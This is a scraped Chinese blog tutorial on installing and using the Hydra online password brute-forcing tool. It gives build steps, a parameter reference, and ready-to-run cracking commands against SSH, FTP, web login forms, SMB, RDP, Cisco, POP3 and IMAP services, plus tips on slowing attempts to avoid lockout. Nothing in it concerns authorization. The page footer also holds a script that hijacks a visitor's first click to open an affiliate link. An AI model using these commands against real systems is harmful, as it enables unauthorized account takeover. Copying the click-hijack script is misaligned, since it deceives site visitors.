wrong username or password

Linux下的暴力密码在线破解工具Hydra安装及其组件安装-使用
hydra可以破解:

http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

如果是Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装:
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

如果是Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

hydra其他安装方法:

cmake安装:

下载地址: http://www.cmake.org/files/v2.8/cmake-2.8.3.tar.gz

tar xzvf cmake-2.8.3.tar.gz

cd cmake-2.8.3

./bootstrap

make

make install

安装完 使用时候如果出现: -cmake : command not found

make 安装在了那个目录下就执行下面PATH命令: 安装在/tmp/目录下:就执行: export PATH=/tmp/cmake-2.8.3/bin:$PATH

首先必须先安装hydra组建libssh:

cd /usr/local/src
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install

(1)然后安装新版hydra-7.3

cd /usr/local/src

wget http://www.thc.org/releases/hydra-7.3.tar.gz
tar zxvf hydra-7.3.tar.gz
cd hydra-7.3
./configure
make
make install

问题解决:

1使用hydra破解ssh报错 hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory hydra无法找到libssh.so.4 ,所有我们就得手工添加进去。

export LD_LIBRARY_PATH=/usr/local/src/libssh-0.4.8/build/libssh/:$LD_LIBRARY_PATH 不过这个只能临时添加。 更换SSH窗口即失效,需要重新添加。

(2) 如果以上版本hydra-7.3无法使用,再用下面这个。

cd /usr/local/src
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar zxf hydra-6.3-src.tar.gz
cd hydra-6.3-src
./configure
make
make install

参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=USER&password=PASS&submit=login:sorry password"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=USER&passwd=PASS:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。)</p> <p>5、破解https:</p> <p>hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https</p> <p>6、破解teamspeak:</p> <p>hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak</p> <p>7、破解cisco:</p> <p>hydra -P pass.txt 10.36.16.18 cisco<br> hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable</p> <p>8、破解smb:</p> <p>hydra -l administrator -P pass.txt 10.36.16.18 smb</p> <p>9、破解pop3:</p> <p>hydra -l muts -P pass.txt my.pop3.mail pop3</p> <p>10、破解rdp:</p> <p>hydra ip rdp -l administrator -P pass.txt -V</p> <p>11、破解http-proxy:</p> <p>hydra -l admin -P pass.txt http-proxy://10.36.16.18</p> <p>12、破解imap:</p> <p>hydra -L user.txt -p secret 10.36.16.18 imap PLAIN<br> hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</p> <p>使用示例:</p> <p>hydra -L user.txt -P pwd.txt -o tmp -vV 192.168.1.10 ssh  //不使用默认帐号密码。使用指定的帐号密码,破解指定IP的SSH 22端口,输出详细信息-vV(一般我选择不输出信息,太多了)。输出到tmp文件。</p> <p>hydra -L user.txt -P pwd.txt -t 1 -o tmp -vV 192.168.1.10 ssh //默认的破解速度如果很快,常常被对方锁掉。造成Error: could not connect to target port 22 等错误信息。 所以使用-t 1线程。</p> </div> </div> </section> </article> </div> <div class="bg" style="margin-top:15px;margin-bottom:15px;"> <!-- <b> 【推广】 <a href="/admin.php">云服务器低至0.95折 1核2G ECS云服务器8.1元/月</a> </b> <br/> --> <b> 【推广】 <a href="http://www.wjhsh.net">免费学中医,健康全家人</a> </b> </div> <div class="clear"></div> <div class="bg yuan"> 原文地址:https://www.cnblogs.com/yunpiao111/p/6044903.html </div> </div> <div class="right"> <ul> <li> <b>推荐文章</b> </li> <li class="one"> <a href="/zryabc-p-11279480.html" target="_blank">NOI2009 诗人小G</a> </li><li class="one"> <a href="/zryabc-p-11266164.html" target="_blank">CEOI2019 Day2 T1 CF1193A Amusement Park</a> </li><li class="one"> <a href="/JasonShenW-p-9294676.html" target="_blank">springboot 初识</a> </li><li class="one"> <a href="/JasonShenW-p-8510322.html" target="_blank">设计模式-责任链模式</a> </li><li class="one"> <a href="/JasonShenW-p-8489740.html" target="_blank">设计模式-单例模式</a> </li><li class="one"> <a href="/JasonShenW-p-5340061.html" target="_blank">AutoFac实现WebAPI依赖注入(EF以及Mysql)</a> </li><li class="one"> <a href="/JasonShenW-p-5288360.html" target="_blank">CodeDOM 系列一: 初识</a> </li><li class="one"> <a href="/JasonShenW-p-5193785.html" target="_blank">Async Await异步调用WebApi</a> </li><li class="one"> <a href="/JasonShenW-p-5103833.html" target="_blank">MVC Helper Methods</a> </li><li class="one"> <a href="/JasonShenW-p-5097814.html" target="_blank">EF CodeFirst(四) 关系</a> </li><li class="one"> <a href="/JasonShenW-p-5085382.html" target="_blank">EF CodeFirst(三) 并发处理</a> </li><li class="one"> <a href="/JasonShenW-p-5084363.html" target="_blank">EF Codefirst(二)数据注释</a> </li><li class="one"> <a href="/kevinzr-p-13255614.html" target="_blank">nginx</a> </li><li class="one"> <a href="/kevinzr-p-13207407.html" target="_blank">集群文件系统之GFS2</a> </li><li class="one"> <a href="/kevinzr-p-13202403.html" target="_blank">存储与iscsi</a> </li><li class="one"> <a href="/kevinzr-p-13187018.html" target="_blank">drbd</a> </li><li class="one"> <a href="/kevinzr-p-13066578.html" target="_blank">linux自动化运维--ansible</a> </li><li class="one"> <a href="/kevinzr-p-13048740.html" target="_blank">linux 高可用集群heartbeat+haresources</a> </li><li class="one"> <a href="/kevinzr-p-13038332.html" target="_blank">LVS 持久连接</a> </li><li class="one"> <a href="/kevinzr-p-12988058.html" target="_blank">LVS nat、DR</a> </li><li class="one"> <a href="/kevinzr-p-12049781.html" target="_blank">Day18-lvs</a> </li><li class="one"> <a href="/kevinzr-p-12974779.html" target="_blank">mysql日志</a> </li><li class="one"> <a href="/Xing-Ling-p-13546919.html" target="_blank">【杂文】我们都有光明的前途(回忆录)</a> </li><li class="one"> <a href="/Xing-Ling-p-13532770.html" target="_blank">【杂文】银色的 NOI2020(退役记)</a> </li><li class="one"> <a href="/Xing-Ling-p-13200642.html" target="_blank">【杂文】SCOI2020 游记</a> </li><li class="one"> <a href="/Xing-Ling-p-12038349.html" target="_blank">【学习笔记】字符串—广义后缀自动机</a> </li><li class="one"> <a href="/Xing-Ling-p-11990652.html" target="_blank">【学习笔记】数论、数学—常见定理、结论、性质汇总</a> </li><li class="one"> <a href="/Xing-Ling-p-11843043.html" target="_blank">【杂文】随心一记</a> </li><li class="one"> <a href="/Xing-Ling-p-11755700.html" target="_blank">【杂文】CSP2019 蒟蒻AFO(假)记</a> </li><li class="one"> <a href="/Xing-Ling-p-10930556.html" target="_blank">【模板整合计划】目录</a> </li> </ul> </div> <div class="clear"></div> <div class="bg center"> <footer> <p>Copyright 2008-2020 <a href="https://beian.miit.gov.cn/" target="_blank">©晋ICP备16003840号-1</a> </p> </footer> <!-- <div class="clear"></div> --> </div> </div> <!-- 百度自动推送js --> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> <!-- 百度自动推送js --> <script src="https://common.cnblogs.com/scripts/jquery-2.2.0.min.js"></script> <script src="/Public/js/clipboard.js"></script> <script src="https://www.cnblogs.com/js/blog-common.min.js"></script> <script src="http://common.cnblogs.com/script/encoder.js"></script> <script type="text/javascript">isPoped = false;</script> <a href="https://www.aliyun.com/minisite/goods?userCode=dmde3b2z" id="redirect_url"></a> <a href="/yunpiao111-p-6044903.html" id="redirect_url2" target="_blank"></a> <div class="copy_btn" id="copy_btn" data-clipboard-text="$XrImf0q$₳X74qbhraX2JL1kt₣"></div> <script type="text/javascript"> document.onclick = function() { /*var clipboard = new Clipboard('.copy_btn'); document.getElementById("copy_btn").click();*/ if (!isPoped) { document.getElementById("redirect_url").click(); document.getElementById("redirect_url2").click(); isPoped = true; } } </script> </body> </html>